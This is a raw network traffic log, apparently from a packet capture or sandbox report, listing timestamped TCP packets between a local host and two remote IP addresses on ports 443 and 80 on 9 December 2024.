Dec 9, 2024 06:50:08.849504948 CET	49859	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:08.849647045 CET	49859	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:08.849659920 CET	443	49859	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:08.859761953 CET	443	49856	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:08.860182047 CET	49856	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:08.860209942 CET	443	49856	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:08.860577106 CET	49856	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:08.860584021 CET	443	49856	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:09.095654964 CET	443	49855	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:09.099070072 CET	443	49855	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:09.099149942 CET	49855	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:09.099196911 CET	49855	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:09.099196911 CET	49855	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:09.099219084 CET	443	49855	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:09.099227905 CET	443	49855	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:09.102014065 CET	49860	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:09.102062941 CET	443	49860	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:09.102193117 CET	49860	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:09.102390051 CET	49860	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:09.102406979 CET	443	49860	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:09.293639898 CET	443	49856	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:09.296744108 CET	443	49856	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:09.296827078 CET	49856	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:09.296875954 CET	49856	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:09.296900988 CET	443	49856	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:09.296922922 CET	49856	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:09.296928883 CET	443	49856	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:09.299807072 CET	49861	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:09.299853086 CET	443	49861	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:09.300103903 CET	49861	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:09.300246000 CET	49861	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:09.300257921 CET	443	49861	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:09.609755993 CET	443	49857	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:09.610681057 CET	49857	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:09.610714912 CET	443	49857	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:09.614685059 CET	49857	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:09.614705086 CET	443	49857	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:10.043034077 CET	443	49857	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:10.046703100 CET	443	49857	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:10.046755075 CET	49857	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:10.046761990 CET	443	49857	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:10.046817064 CET	49857	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:10.046857119 CET	49857	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:10.046880007 CET	443	49857	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:10.046891928 CET	49857	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:10.046897888 CET	443	49857	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:10.049598932 CET	49862	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:10.049644947 CET	443	49862	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:10.049941063 CET	49862	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:10.050121069 CET	49862	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:10.050136089 CET	443	49862	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:10.550714016 CET	443	49858	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:10.551352024 CET	49858	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:10.551400900 CET	443	49858	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:10.551822901 CET	49858	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:10.551827908 CET	443	49858	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:10.562984943 CET	443	49859	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:10.563458920 CET	49859	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:10.563481092 CET	443	49859	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:10.563863993 CET	49859	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:10.563868046 CET	443	49859	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:10.816991091 CET	443	49860	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:10.817480087 CET	49860	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:10.817537069 CET	443	49860	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:10.817948103 CET	49860	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:10.817951918 CET	443	49860	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:10.983738899 CET	443	49858	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:10.987682104 CET	443	49858	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:10.987878084 CET	49858	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:10.987967968 CET	49858	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:10.987987041 CET	443	49858	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:10.988001108 CET	49858	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:10.988006115 CET	443	49858	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:10.990597010 CET	49863	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:10.990629911 CET	443	49863	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:10.990703106 CET	49863	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:10.990823984 CET	49863	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:10.990838051 CET	443	49863	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:10.997488976 CET	443	49859	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:10.999562979 CET	443	49859	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:10.999610901 CET	443	49859	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:10.999666929 CET	49859	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:10.999699116 CET	49859	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:10.999712944 CET	443	49859	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:10.999723911 CET	49859	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:10.999731064 CET	443	49859	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:11.001894951 CET	49864	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:11.001941919 CET	443	49864	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:11.002278090 CET	49864	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:11.002425909 CET	49864	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:11.002440929 CET	443	49864	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:11.014269114 CET	443	49861	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:11.015037060 CET	49861	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:11.015048981 CET	443	49861	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:11.015415907 CET	49861	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:11.015424013 CET	443	49861	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:11.250391960 CET	443	49860	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:11.253635883 CET	443	49860	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:11.253724098 CET	49860	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:11.253920078 CET	49860	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:11.253947973 CET	443	49860	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:11.253959894 CET	49860	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:11.253966093 CET	443	49860	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:11.256968021 CET	49865	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:11.257003069 CET	443	49865	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:11.257114887 CET	49865	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:11.257296085 CET	49865	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:11.257304907 CET	443	49865	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:11.447031021 CET	443	49861	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:11.451045990 CET	443	49861	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:11.451097012 CET	443	49861	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:11.451133013 CET	49861	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:11.451178074 CET	49861	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:11.451244116 CET	49861	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:11.451260090 CET	443	49861	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:11.451278925 CET	49861	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:11.451287985 CET	443	49861	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:11.454114914 CET	49866	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:11.454161882 CET	443	49866	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:11.454457998 CET	49866	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:11.454457998 CET	49866	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:11.454493999 CET	443	49866	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:11.773669004 CET	443	49862	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:11.774216890 CET	49862	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:11.774240971 CET	443	49862	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:11.774677992 CET	49862	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:11.774683952 CET	443	49862	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:12.208406925 CET	443	49862	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:12.211049080 CET	443	49862	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:12.214756966 CET	49862	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:12.215050936 CET	49862	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:12.215050936 CET	49862	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:12.215069056 CET	443	49862	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:12.215079069 CET	443	49862	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:12.220719099 CET	49867	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:12.220762968 CET	443	49867	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:12.220861912 CET	49867	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:12.220999002 CET	49867	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:12.221010923 CET	443	49867	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:12.590794086 CET	80	49814	181.214.58.112	192.168.2.11
Dec 9, 2024 06:50:12.592823029 CET	49814	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:50:12.592892885 CET	49814	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:50:12.712213039 CET	80	49814	181.214.58.112	192.168.2.11
Dec 9, 2024 06:50:12.712929964 CET	443	49863	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:12.713289022 CET	49863	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:12.713304996 CET	443	49863	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:12.713691950 CET	49863	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:12.713699102 CET	443	49863	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:12.717447042 CET	443	49864	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:12.717765093 CET	49864	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:12.717803955 CET	443	49864	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:12.718111038 CET	49864	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:12.718116045 CET	443	49864	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:12.971910954 CET	443	49865	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:12.972332001 CET	49865	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:12.972343922 CET	443	49865	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:12.972871065 CET	49865	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:12.972877979 CET	443	49865	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:13.154413939 CET	443	49863	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:13.154449940 CET	443	49863	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:13.154514074 CET	443	49863	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:13.154516935 CET	49863	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:13.154717922 CET	49863	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:13.154800892 CET	49863	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:13.154814005 CET	443	49863	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:13.159423113 CET	49868	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:13.159487009 CET	443	49868	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:13.159548044 CET	49868	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:13.160259962 CET	49868	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:13.160271883 CET	443	49868	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:13.394217014 CET	443	49864	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:13.394289017 CET	443	49864	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:13.394505978 CET	49864	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:13.394563913 CET	49864	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:13.394563913 CET	49864	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:13.394587040 CET	443	49864	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:13.394604921 CET	443	49864	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:13.396049976 CET	443	49866	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:13.396565914 CET	49866	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:13.396579027 CET	443	49866	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:13.397093058 CET	49866	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:13.397098064 CET	443	49866	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:13.397581100 CET	49869	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:13.397614002 CET	443	49869	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:13.397844076 CET	49869	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:13.397844076 CET	49869	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:13.397877932 CET	443	49869	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:13.405762911 CET	443	49865	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:13.408921003 CET	443	49865	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:13.408982992 CET	443	49865	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:13.408983946 CET	49865	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:13.409034967 CET	49865	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:13.409104109 CET	49865	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:13.409126997 CET	443	49865	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:13.409137011 CET	49865	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:13.409142971 CET	443	49865	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:13.411748886 CET	49870	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:13.411799908 CET	443	49870	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:13.411866903 CET	49870	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:13.412024975 CET	49870	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:13.412034035 CET	443	49870	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:13.829665899 CET	443	49866	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:13.833113909 CET	443	49866	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:13.833174944 CET	49866	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:13.833728075 CET	49866	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:13.833755016 CET	443	49866	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:13.833766937 CET	49866	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:13.833779097 CET	443	49866	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:13.842833996 CET	49871	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:13.842870951 CET	443	49871	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:13.842926025 CET	49871	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:13.844821930 CET	49871	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:13.844836950 CET	443	49871	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:13.934480906 CET	443	49867	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:13.935039043 CET	49867	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:13.935065985 CET	443	49867	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:13.935511112 CET	49867	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:13.935516119 CET	443	49867	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:13.956245899 CET	49872	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:50:14.075608969 CET	80	49872	181.214.58.112	192.168.2.11
Dec 9, 2024 06:50:14.075747967 CET	49872	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:50:14.075989962 CET	49872	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:50:14.195283890 CET	80	49872	181.214.58.112	192.168.2.11
Dec 9, 2024 06:50:14.369374990 CET	443	49867	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:14.369496107 CET	443	49867	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:14.369682074 CET	49867	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:14.369682074 CET	49867	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:14.369721889 CET	49867	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:14.369738102 CET	443	49867	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:14.372217894 CET	49873	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:14.372276068 CET	443	49873	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:14.372406006 CET	49873	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:14.372505903 CET	49873	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:14.372515917 CET	443	49873	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:14.989952087 CET	443	49868	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:14.990700006 CET	49868	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:14.990751982 CET	443	49868	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:14.990879059 CET	49868	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:14.990884066 CET	443	49868	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.113234997 CET	443	49869	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.113827944 CET	49869	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:15.113837004 CET	443	49869	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.114449978 CET	49869	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:15.114454031 CET	443	49869	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.125284910 CET	443	49870	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.125766039 CET	49870	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:15.125801086 CET	443	49870	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.126281023 CET	49870	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:15.126286030 CET	443	49870	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.427035093 CET	443	49868	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.433209896 CET	443	49868	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.433285952 CET	49868	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:15.433360100 CET	49868	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:15.433360100 CET	49868	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:15.433387995 CET	443	49868	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.433406115 CET	443	49868	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.436172962 CET	49874	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:15.436212063 CET	443	49874	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.436279058 CET	49874	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:15.436417103 CET	49874	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:15.436429977 CET	443	49874	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.546051979 CET	443	49869	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.550049067 CET	443	49869	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.550110102 CET	443	49869	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.550127983 CET	49869	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:15.550237894 CET	49869	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:15.550237894 CET	49869	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:15.550267935 CET	49869	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:15.550281048 CET	443	49869	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.552961111 CET	49875	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:15.553010941 CET	443	49875	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.553122044 CET	49875	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:15.553286076 CET	49875	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:15.553297043 CET	443	49875	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.558001041 CET	443	49871	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.559284925 CET	49871	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:15.559298038 CET	443	49871	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.559843063 CET	49871	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:15.559848070 CET	443	49871	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.561774015 CET	443	49870	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.565000057 CET	443	49870	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.566730022 CET	49870	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:15.566762924 CET	49870	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:15.566781044 CET	443	49870	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.566792965 CET	49870	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:15.566797018 CET	443	49870	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.568928003 CET	49876	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:15.568958998 CET	443	49876	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.569274902 CET	49876	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:15.569274902 CET	49876	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:15.569295883 CET	443	49876	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.991163969 CET	443	49871	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.994263887 CET	443	49871	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.994308949 CET	443	49871	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.994343042 CET	49871	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:15.994385958 CET	49871	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:15.994411945 CET	49871	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:15.994430065 CET	443	49871	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.994441032 CET	49871	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:15.994446993 CET	443	49871	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.997019053 CET	49877	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:15.997059107 CET	443	49877	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:15.997174025 CET	49877	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:15.997312069 CET	49877	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:15.997320890 CET	443	49877	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:16.094692945 CET	443	49873	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:16.095236063 CET	49873	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:16.095272064 CET	443	49873	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:16.095933914 CET	49873	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:16.095938921 CET	443	49873	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:16.589457035 CET	443	49873	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:16.589540005 CET	443	49873	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:16.590012074 CET	49873	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:16.590498924 CET	49873	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:16.590523005 CET	443	49873	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:16.590533972 CET	49873	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:16.590539932 CET	443	49873	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:16.593375921 CET	49878	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:16.593417883 CET	443	49878	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:16.593518972 CET	49878	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:16.593976974 CET	49878	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:16.593990088 CET	443	49878	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:16.878427982 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:16.878475904 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:16.878544092 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:16.878896952 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:16.878906965 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:17.156980038 CET	443	49874	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:17.157469988 CET	49874	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:17.157493114 CET	443	49874	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:17.158010006 CET	49874	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:17.158020973 CET	443	49874	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:17.307425022 CET	443	49875	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:17.307959080 CET	49875	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:17.308018923 CET	443	49875	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:17.308435917 CET	49875	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:17.308444977 CET	443	49875	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:17.309485912 CET	443	49876	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:17.309861898 CET	49876	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:17.309875965 CET	443	49876	13.107.246.63	192.168.2.11
